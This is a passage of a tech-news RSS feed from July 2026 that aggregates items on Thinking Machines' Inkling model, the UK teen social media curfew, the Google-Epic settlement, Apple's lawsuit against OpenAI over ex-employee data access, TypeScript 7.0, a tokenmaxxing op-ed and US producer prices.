href="https://venturebeat.com/ai/thinking-machines-challenges-openais-ai-scaling-strategy-first">Rafael Rafailov delivered a provocative critique of the AI industry at TED AI</a>. He argued that the current trajectory of simply throwing more compute at models was fundamentally flawed, noting that today's systems take shortcuts—like wrapping code in<code> try/except</code> blocks—because they are trained strictly for task completion rather than genuine learning. </p><p>Rafailov posited that the first artificial superintelligence would not be a "god model," but rather a "superhuman learner" capable of meta-learning and internalizing abstractions. Inkling’s architecture—specifically its controllable thinking effort and its ability to organically compress its chain of thought during RL—feels like the first tangible realization of Rafailov's thesis.</p><p>In May 2026, the lab teased its technical prowess with the<a href="https://venturebeat.com/technology/thinking-machines-shows-off-preview-of-near-realtime-ai-voice-and-video-conversation-with-new-interaction-models"> research preview of TML-Interaction-Small</a>, a system that eliminated "turn-based" chat by processing inputs and outputs simultaneously in 200ms chunks. This "full-duplex" breakthrough proved the company could build highly responsive, natively multimodal models from scratch.</p><p>Now, with Inkling out in the wild, Thinking Machines has delivered on its foundational promises. By offering a massive, natively multimodal model under a true open-source license, they aren't just giving developers a new tool—they are attempting to fundamentally rewrite the economics and accessibility of frontier AI development.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘What’s the point?’ Teenagers give their verdict on Britain’s social media curfew]]></title>
<description><![CDATA[All the young people the Guardian spoke to disagreed with aspects of the government’s proposed blockSixteen- and 17-year-olds in Britain are to be encouraged to observe a midnight to 6am social media curfew but will be able to opt out by changing their account settings.From next spring, they will...]]></description>
<link>https://tsecurity.de/de/3671792/it-nachrichten/whats-the-point-teenagers-give-their-verdict-on-britains-social-media-curfew/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671792/it-nachrichten/whats-the-point-teenagers-give-their-verdict-on-britains-social-media-curfew/</guid>
<pubDate>Wed, 15 Jul 2026 22:18:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>All the young people the Guardian spoke to disagreed with aspects of the government’s proposed block</p><p>Sixteen- and 17-year-olds in Britain are to be encouraged to observe a <a href="https://www.theguardian.com/technology/2026/jul/14/uk-16-17-year-olds-midnight-social-media-curfew">midnight to 6am social media curfew</a> but will be able to opt out by changing their account settings.</p><p>From next spring, they will be urged to refrain from using certain apps, with the block being switched on by default. But the curfew will not be mandatory and can be overridden.</p> <a href="https://www.theguardian.com/media/2026/jul/15/teenagers-verdic-britain-social-media-curfew-ban-whats-the-point">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google and Epic Cancel Settlement; Third-Party App Stores Coming To Google Play]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Big changes are coming to Android apps, but they're not the changes Google wanted. The settlement between Google and Epic that aimed to put to rest the companies' long-running antitrust battle is being withdrawn, and that means third-party ap...]]></description>
<link>https://tsecurity.de/de/3671690/it-security-nachrichten/google-and-epic-cancel-settlement-third-party-app-stores-coming-to-google-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671690/it-security-nachrichten/google-and-epic-cancel-settlement-third-party-app-stores-coming-to-google-play/</guid>
<pubDate>Wed, 15 Jul 2026 21:09:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Big changes are coming to Android apps, but they're not the changes Google wanted. The settlement between Google and Epic that aimed to put to rest the companies' long-running antitrust battle is being withdrawn, and that means third-party app stores are coming to the Play Store. Google has confirmed that it will begin distributing rival app stores next week, setting the stage for competing platforms to take a bite out of Google's Android revenue stream. [...] Google and Epic were set to return to court on July 16 to argue in favor of the settlement. However, the writing may have been on the wall. In a recent expert analysis provided to the court, MIT economics professor Nancy Rose noted that the settlement was "unlikely to enable Google Play's potential competitors to overcome their long-standing network-effect disadvantage in a timely manner."
 
With settlement approval looking increasingly unlikely, Epic and Google agreed this week to call the whole thing off. Here's how Google Trust and Reputation Communications Lead Dan Jackson explains the company's decision: "We've agreed with Epic to withdraw our motion to modify the US Court's injunction rather than prolonging this process which creates uncertainty for the ecosystem. This allows us to focus on executing our recently announced global business model evolution to deliver greater app store choice, lower prices, and more opportunities for developers and users. We remain committed to maintaining Android's industry-leading security and fostering a competitive ecosystem where every app store and developer has the freedom to compete. In parallel, we continue to comply with the US Court's injunction."
 
In a brief filing (PDF), Google's legal team informs the court that Google is prepared to begin distributing third-party app stores in Google Play on July 22. Under the terms of Judge Donato's original injunction, these stores will have access to the full catalog of Google Play apps by default. Developers will have the option to opt out of distribution in these stores, and Google has a support page explaining how to do so. Google also has documentation on how app stores can get access to the Google Play catalog. It won't be mirroring those apps in any shady storefront that asks. The court has allowed Google to charge reasonable fees to cover its security and compliance review of third-party stores, which will be $5,000 per year.
 
Google will also require approved stores to block malware, respect intellectual property, and include mechanisms to update and uninstall apps. App stores can be removed from the program if more than 1 percent of attempted app installs appear to be malware or unwanted software. It's unclear if there will be separate, possibly more stringent requirements for storefront distribution in the Play Store. However, Google is prohibited from unreasonably blocking third-party store clients uploaded to Google Play. The changes Google has announced under the Epic agreement will proceed for now. That means Registered App Stores will happen globally, but they will probably only appear in the Play Store for US users. Google hasn't specified if there will be any differences in the features available to the stores downloaded from Play versus registered stores.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+and+Epic+Cancel+Settlement%3B+Third-Party+App+Stores+Coming+To+Google+Play%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F15%2F1738217%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F15%2F1738217%2Fgoogle-and-epic-cancel-settlement-third-party-app-stores-coming-to-google-play%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/15/1738217/google-and-epic-cancel-settlement-third-party-app-stores-coming-to-google-play?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple quietly hid a big change coming for CarPlay with iOS 27]]></title>
<description><![CDATA[Apple announced the new CarPlay feature not long after Google announced a similar update for Android Auto.]]></description>
<link>https://tsecurity.de/de/3671668/it-nachrichten/apple-quietly-hid-a-big-change-coming-for-carplay-with-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671668/it-nachrichten/apple-quietly-hid-a-big-change-coming-for-carplay-with-ios-27/</guid>
<pubDate>Wed, 15 Jul 2026 21:02:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple announced the new CarPlay feature not long after Google announced a similar update for Android Auto.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's new 36-month cellular iPad financing plan is good, but you can save money elsewhere]]></title>
<description><![CDATA[Before you take advantage of Apple's new 36-month financing on cellular iPads, you should check to see if there are better deals first, since there are no discounts through Apple's programs.iPad AirThe new 36-month option appears at checkout when someone buys a Wi-Fi + Cellular iPad from Apple, a...]]></description>
<link>https://tsecurity.de/de/3671655/ios-mac-os/apples-new-36-month-cellular-ipad-financing-plan-is-good-but-you-can-save-money-elsewhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671655/ios-mac-os/apples-new-36-month-cellular-ipad-financing-plan-is-good-but-you-can-save-money-elsewhere/</guid>
<pubDate>Wed, 15 Jul 2026 20:51:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Before you take advantage of Apple's new 36-month financing on cellular iPads, you should check to see if there are better deals first, since there are no discounts through Apple's programs.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68260-143893-iPad-Air-M4-blue-held-in-hand-xl.jpg" alt="Person holding a tablet at a wooden table in a cafe, with a takeaway coffee cup in the foreground and soft natural light coming from the left side" height="737"><span>iPad Air</span></div><br>The new 36-month option appears at checkout when someone buys a Wi-Fi + Cellular iPad from Apple, alongside paying in full or using Apple Card Monthly Installments. It's available for the iPad, iPad mini, iPad Air and iPad Pro, subject to carrier approval.<br><br>Apple's own interest-free financing still runs for 12 months through Apple Card. Apple Card Monthly Installments includes 3% Daily Cash up front and isn't tied to a carrier installment plan.<br><br>The 36-month option lowers the monthly payment, not the price. It spreads the same total over three years instead of one.<br><br><br> <a href="https://appleinsider.com/articles/26/07/15/apples-new-36-month-cellular-ipad-financing-plan-is-good-but-you-can-save-money-elsewhere?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244967?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The innovative "Kill Block" map for Call of Duty: Modern Warfare 4 is my most anticipated new feature for the game's multiplayer — and we finally get to see more of it]]></title>
<description><![CDATA[Infinity Ward releases details on its innovative new dynamic map, Kill Block, coming to Modern Warfare 4 this October.]]></description>
<link>https://tsecurity.de/de/3671316/windows-tipps/the-innovative-kill-block-map-for-call-of-duty-modern-warfare-4-is-my-most-anticipated-new-feature-for-the-games-multiplayer-and-we-finally-get-to-see-more-of-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671316/windows-tipps/the-innovative-kill-block-map-for-call-of-duty-modern-warfare-4-is-my-most-anticipated-new-feature-for-the-games-multiplayer-and-we-finally-get-to-see-more-of-it/</guid>
<pubDate>Wed, 15 Jul 2026 18:13:59 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Infinity Ward releases details on its innovative new dynamic map, Kill Block, coming to Modern Warfare 4 this October.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s OpenAI lawsuit: The lunacy of trying to limit what ex-employees can tell future employers]]></title>
<description><![CDATA[When Apple sued OpenAI last week, the argument it made was that former employees had stolen Apple data and then used it to benefit OpenAI. 



The technical details — an employee used “a rare, previously unknown authentication bug to access Apple’s shared network folders” — are interesting. But t...]]></description>
<link>https://tsecurity.de/de/3671252/it-nachrichten/apples-openai-lawsuit-the-lunacy-of-trying-to-limit-what-ex-employees-can-tell-future-employers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671252/it-nachrichten/apples-openai-lawsuit-the-lunacy-of-trying-to-limit-what-ex-employees-can-tell-future-employers/</guid>
<pubDate>Wed, 15 Jul 2026 18:03:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When <a href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html">Apple sued OpenAI last week</a>, the argument it made was that former employees had stolen Apple data and then used it to benefit OpenAI. </p>



<p class="wp-block-paragraph">The technical details — an employee used “a rare, previously unknown authentication bug to access Apple’s shared network folders” — are interesting. But the larger story is Apple’s ridiculous attempt to stop its people from using anything they learned at Apple in other jobs.</p>



<p class="wp-block-paragraph">“Hiring managers don’t mind some files being brought into the org during onboarding, but suddenly take umbrage when that same employee exits with some files later on,” said <a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security. “Legal should be equally concerned about both events.”</p>



<p class="wp-block-paragraph">The lawsuit focused on Chang Liu, an employee who had been recruited to work at OpenAI after working at Apple for eight years as a Senior System Electrical Engineer. The <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.474095/gov.uscourts.cand.474095.1.0.pdf">full text of the filing</a> depicts a comedy of errors by Apple, offering the perfect “do not do” list of handling employee resignations — especially when they’re going to a direct competitor. </p>



<p class="wp-block-paragraph">“When Apple contacted Mr. Liu to sign Apple’s confidentiality reminder, schedule an exit interview, and confirm that he had returned his devices and complied with other exit procedures, Mr. Liu did not respond.” And “after leaving Apple, Mr. Liu failed to return an Apple-issued work laptop that he had previously authenticated to Apple’s network.”</p>



<p class="wp-block-paragraph">First, typical procedure for handling departures is to tie the return of all equipment and the signing of documents to any final payments. With Apple, that is likely to be a large amount of money. The lawsuit does not say whether Apple exerted any financial pressure on their employee for compliance. </p>



<p class="wp-block-paragraph">But in terms of equipment with high-level access, why weren’t all privileges revoked, both for the employee and any and all company-issued devices? Did they not maintain a remote-wipe capability for these devices? Although remote-wipe is usually used when devices are missing or stolen, it should work as well when a departing employee refuses to return company equipment. </p>



<p class="wp-block-paragraph">According to Apple, Liu apparently had help at Apple from Tang Yew Tan, who was supposedly also interviewing with OpenAI. “While employed by OpenAI, [Liu] accessed and used his former colleague’s Apple-issued work computer that was authenticated to Apple’s network, without Apple’s authorization.”</p>



<p class="wp-block-paragraph">Apple tried to make much of this Liu’s fault. Legally, yes, there might be liability there; still, Apple made itself look as if it couldn’t protect its own data. “Upon discovering that he had this unauthorized access to Apple’s systems, [the former employee] did not report it, return his stolen Apple-issued work laptop or delete the program that allowed the access.” </p>



<p class="wp-block-paragraph">Really, Apple? Your data-protection plan relies on ex-employees to “delete the program that allowed the access”? I’m not so sure you didn’t bring some of this data-leakage on yourselves. </p>



<p class="wp-block-paragraph">This gets worse: “Over several weeks, while developing hardware for OpenAI, Mr. Liu surreptitiously accessed and downloaded dozens of Apple’s confidential hardware-related files, including voluminous, detailed information about unreleased products, engineering presentations, technical specifications, and proprietary project data.”</p>



<p class="wp-block-paragraph">Setting aside the issue of privileges, access, and unreturned equipment that apparently had its own privileges, that statement points to massive data exfiltration from Apple systems. Even if it is coming from a current employee, why didn’t that raise any red flags? </p>



<p class="wp-block-paragraph">Let’s get back to the broader implications. When professionals move from one company to another, they — of course — are bringing their experience and knowledge with them. Can Apple reasonably tell them that they can’t do so? Isn’t that experience and knowledge <em>exactly</em> why another company would want to hire them?</p>



<p class="wp-block-paragraph">Now, to be sure, stealing diagrams and product spec sheets is a clear violation. Let’s say Apple spent a lot of money on some hardware research projects. A member of that technical team would learn an awful lot, all on Apple’s dime. </p>



<p class="wp-block-paragraph">But is it fair and reasonable for Apple to say that the former employee can’t leverage that knowledge at his or her next job? </p>



<p class="wp-block-paragraph">This brings us back to the point Wilkes made: If Apple is going to try to prevent any former employee from leveraging on-the-job experience, then it should instruct all new employees not to use anything they learned in a previous job. </p>



<p class="wp-block-paragraph">That would be ridiculous. Companies pay for experienced talent because of that experience. Why pay for expertise if you insist employees not leverage any of it?</p>



<p class="wp-block-paragraph">Then there’s the amorphous nature of knowledge. So, it’s wrong to take detailed diagrams and spec details and hand them over to a new employer. But what if that worker heading out the door memorizes the documents (photographic memory) a day before resigning? Is a person prohibited from using something from memory?</p>



<p class="wp-block-paragraph">There’s also the fruit-of-the-poisonous tree legal argument. Even if a former employee doesn’t directly use stolen data, what if their knowledge leads to other money-saving insights for the new employer? </p>



<p class="wp-block-paragraph">Given that Apple hires as many specialists as it loses to rivals, wouldn’t it make sense to leverage everything your workforce knows and then let new employers do the same? But before you do that, Apple, tighten your exiting employee tech controls. </p>



<p class="wp-block-paragraph">Then maybe you wont’t have to file lawsuits like this down the road.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Go-based TypeScript 7.0 arrives]]></title>
<description><![CDATA[Microsoft has released TypeScript 7.0, a native port of the company’s strongly typed version of the JavaScript language based on the Go programming language. 



With this new codebase, TypeScript 7.0 brings native code speed, shared memory multithreading, and a number of new optimizations that t...]]></description>
<link>https://tsecurity.de/de/3671163/ai-nachrichten/go-based-typescript-70-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671163/ai-nachrichten/go-based-typescript-70-arrives/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has released TypeScript 7.0, a native port of the company’s <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">strongly typed version of the JavaScript language</a> based on the <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go programming language</a>. </p>



<p class="wp-block-paragraph">With this new codebase, TypeScript 7.0 brings native code speed, shared memory multithreading, and a number of new optimizations that typically yield speedups between 8x and 12x on full builds, Microsoft said in a <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-7-0/">July 8 announcement</a>. This port of TypeScript to native code was done as faithfully as possible, writing new code while maintaining the structure and logic of the original codebase to keep results consistent and compatible between the two compilers, according to Microsoft. </p>



<p class="wp-block-paragraph">TypeScript 7.0 is available via npm:</p>



<pre class="wp-block-code"><code>npm install -D typescript</code></pre>



<p class="wp-block-paragraph">To help with the TypeScript 6.0 to TypeScript 7.0 transition process, Microsoft has published a new compatibility package, <code>@typescript/typescript6</code>. This package provides an executable named <code>tsc6</code>, so that if needed, a developer can install TypeScript 7.0 (which ships its own <code>tsc</code> binary) side-by-side with TypeScript 6.0 without naming conflicts. The new package also re-exports the TypeScript 6.0 API, so that a developer can use <code>tsc</code> for TypeScript 7, while other tooling can continue to rely on TypeScript 6.0.</p>



<p class="wp-block-paragraph">TypeScript 7.0 is a major milestone in the TypeScript project, Microsoft said. This port has been the primary focus for Microsoft’s team for more than a year. With TypeScript 7.0 now out, the team will return to new feature work, ergonomic improvements, more performance wins, and implementing a new API for the broader ecosystem. Microsoft expects a fairly similar timeline to releases prior to TypeScript 7.0, with new versions published every three to four months. </p>



<p class="wp-block-paragraph">TypeScript 7.0 was announced as a <a href="https://www.infoworld.com/article/4191918/typescript-7-0-reaches-release-candidate-stage.html">release candidate</a> on June 18. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[From story points to tokenmaxxing: Why engineering keeps measuring the wrong things]]></title>
<description><![CDATA[For decades, software engineering has been plagued by “productivity theater.” Every few years, the industry aligns around a new vanity metric — usually one that latches onto whatever technology happens to be in vogue at the time. For a discipline rooted in creativity and problem-solving, this is ...]]></description>
<link>https://tsecurity.de/de/3671158/ai-nachrichten/from-story-points-to-tokenmaxxing-why-engineering-keeps-measuring-the-wrong-things/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671158/ai-nachrichten/from-story-points-to-tokenmaxxing-why-engineering-keeps-measuring-the-wrong-things/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For decades, software engineering has been plagued by “productivity theater.” Every few years, the industry aligns around a new vanity metric — usually one that latches onto whatever technology happens to be in vogue at the time. For a discipline rooted in creativity and problem-solving, this is a poor way to demonstrate progress. Yet, we find ourselves in this position once again. The pattern is often the same: reach for something we can easily count, and in doing so, lose sight of what we are actually trying to achieve.</p>



<h2 class="wp-block-heading">Quantity over quality: the wrong measurement, every time</h2>



<p class="wp-block-paragraph">I recall when I was coming up as a software engineer in the 1990s, a small number of companies took up the practice of paying their engineers by each line of code. This may have been productivity theater at its worst, leading to negative incentives, inefficient processes, and just generally bad engineering. Developers were rewarded for writing far more code than the problems they were facing required — classic “quantity over quality” — and the result was bloated, brittle codebases that were all but impossible to maintain. The goal — to create reliable software that solved real user problems — got buried under the incentive to produce.</p>



<p class="wp-block-paragraph">Then in the 2000s, <a href="https://www.atlassian.com/agile/project-management/estimation" data-type="link" data-id="https://www.atlassian.com/agile/project-management/estimation">the rise of Agile brought us story points</a>, an abstract way to estimate task complexity, effort, and risk relative to other work. Rather than answering “How long will this take?,” story points were meant to answer, “How big is this compared to what we’ve done before?” This approach sounds good in theory, but in practice, some development teams learned to game the system by inflating estimates, over-engineering solutions to look productive, and losing sight of whether the work they produced actually created value. Once again, the metric became the goal, and the actual goal — delivering outcomes that mattered to the business — became secondary.</p>



<p class="wp-block-paragraph">Every one of these metrics failed for the same reason: they measured effort instead of value.</p>



<h2 class="wp-block-heading">Quantity in the age of AI</h2>



<p class="wp-block-paragraph">Today, “<a href="https://www.infoworld.com/article/4183060/the-tokenmaxxing-backlash-is-coming.html">tokenmaxxing</a>,” a trend in which developers and teams optimize for <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html" data-type="link" data-id="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html">consuming as many AI model tokens as possible</a>, treats raw consumption as an equivalent for output. As I see it, this is the latest flawed productivity metric to make its way into the world of software engineering. Tokenmaxxing is nothing more than another vanity metric, and is just as useless as using “lines of code” or inflated “story points” as a benchmark.</p>



<p class="wp-block-paragraph">Tokenmaxxing is the result of a few different behaviors, including:</p>



<ul class="wp-block-list">
<li>Prompt flooding: stuffing massive codebases, documentation, and context into every prompt, burning tokens on context the model doesn’t actually need.</li>



<li>Agent swarms: running multiple AI agents in parallel to maximize code output, regardless of whether the work is coordinated or coherent.</li>



<li>Background loops: keeping AI sessions or agents running continuously in the background, racking up token spend without clear ownership of what is being produced — or why.</li>
</ul>



<p class="wp-block-paragraph"><br>Now, it is no secret that AI is reshaping how software is developed, and these behaviors are the result of that reshaping. Providing AI with codebases, running multiple agents at once, and even relying on coding assistants for help all have their uses. But when we lose control of the changes we are making and why we are making them, we find ourselves facing a new version of the same old problem: measuring engineering productivity with the wrong metrics.</p>



<p class="wp-block-paragraph">A more useful question to ask isn’t, “How many tokens did we spend?” but rather, “What problem did we actually solve, and for whom?”</p>



<h2 class="wp-block-heading">Spending resources without goals</h2>



<p class="wp-block-paragraph">Yes, AI is giving software engineers the ability to do more with less, to move quickly, and to experiment in ways that were previously out of reach. But leaning on AI to <em>perform</em> productivity, rather than <em>deliver</em> it, is a trap that will cost us in code quality, team capability, and business credibility.</p>



<p class="wp-block-paragraph">As a CTO, I am all for experimenting with AI. I want to use it to make our programs better, stronger, and future-proof. What I don’t want is for it to drive us toward excess while leaving us with little to show for it.</p>



<p class="wp-block-paragraph">The test I keep coming back to is simple: does this AI-generated output help us ship something that matters? Does it reduce friction for a user, close a gap in a workflow, or improve reliability for a customer? If the answer isn’t clear, then we are spending resources — both human and computational — without a defined goal. And that is not engineering. That is activity.</p>



<h2 class="wp-block-heading">Spec-driven development: where value gets defined</h2>



<p class="wp-block-paragraph">It is time to adopt newer approaches like <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development-how-to-choose.html" data-type="link" data-id="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development-how-to-choose.html">spec-driven development</a>, a method where engineers write detailed specifications first and AI generates code against them. Rather than relying on prompt flooding and agent swarms and hoping AI produces the best result, we need to shift toward defining requirements, reviewing AI-generated output, and orchestrating systems with intent.</p>



<p class="wp-block-paragraph">But spec-driven development is <a href="https://www.augmentcode.com/guides/what-is-spec-driven-development" data-type="link" data-id="https://www.augmentcode.com/guides/what-is-spec-driven-development">more than a methodology</a>. It is the place where engineering intent and business value get defined together. The spec is where you answer, “Why does this matter, and what problem are we solving?” before a single token gets spent.</p>



<p class="wp-block-paragraph">Software engineers have long taken pride in writing elegant code, and I would hate to see AI cheapen that pride rather than elevate it. In an AI-first world, the craft shouldn’t disappear; it should simply move upstream. The spec is where elegance lives now, and it deserves the same attention to detail we once reserved for the code itself.</p>



<p class="wp-block-paragraph">At its core, software engineering is about defining, analyzing, and resolving technical challenges. If we are willingly giving all of that up to AI, we will lose the integrity of our discipline and the ability to prove our value. Using the maximum number of tokens to produce code isn’t impressive. Using a well-crafted, intentional prompt to solve a specific problem? That’s the work worth celebrating.</p>



<h2 class="wp-block-heading">Stop performing productivity and start delivering it</h2>



<p class="wp-block-paragraph">We are at an inflection point. Many organizations are defaulting to activity-based metrics, measuring how much AI is being used rather than whether it is improving delivery, product quality, or business outcomes.</p>



<p class="wp-block-paragraph">The question worth asking is not, “How much AI did we use this sprint?” It is “What value did we deliver for our users, our team, or our business?” Was it the ability to resolve a critical bug more quickly? Reduced cycle time on a high-value feature? A customer workflow that now takes minutes instead of hours? Those are outcomes. Those are the things worth measuring.</p>



<p class="wp-block-paragraph">AI can help us deliver meaningful outcomes faster, but only if we use it with the same rigor and intent we expect from every other engineering or business decision. Don’t let it become another form of productivity theater. The most successful engineering organizations in the age of AI won’t be the ones that consumed the most tokens, they’ll be the organizations that never lost sight of why they were building in the first place.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[U.S. Producer Price Index (PPI) drops in June, signaling easing inflation pressures]]></title>
<description><![CDATA[PPI data for June 2026 shows a 0.3% decline in the index for final demand on a seasonally adjusted basis. U.S. inflation is coming down…
The post U.S. Producer Price Index (PPI) drops in June, signaling easing inflation pressures appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/3670902/ios-mac-os/us-producer-price-index-ppi-drops-in-june-signaling-easing-inflation-pressures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670902/ios-mac-os/us-producer-price-index-ppi-drops-in-june-signaling-easing-inflation-pressures/</guid>
<pubDate>Wed, 15 Jul 2026 16:09:33 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>PPI data for June 2026 shows a 0.3% decline in the index for final demand on a seasonally adjusted basis. U.S. inflation is coming down…</p>
<p>The post <a href="https://macdailynews.com/2026/07/15/u-s-producer-price-index-ppi-drops-in-june-signaling-easing-inflation-pressures/">U.S. Producer Price Index (PPI) drops in June, signaling easing inflation pressures</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,72ms -->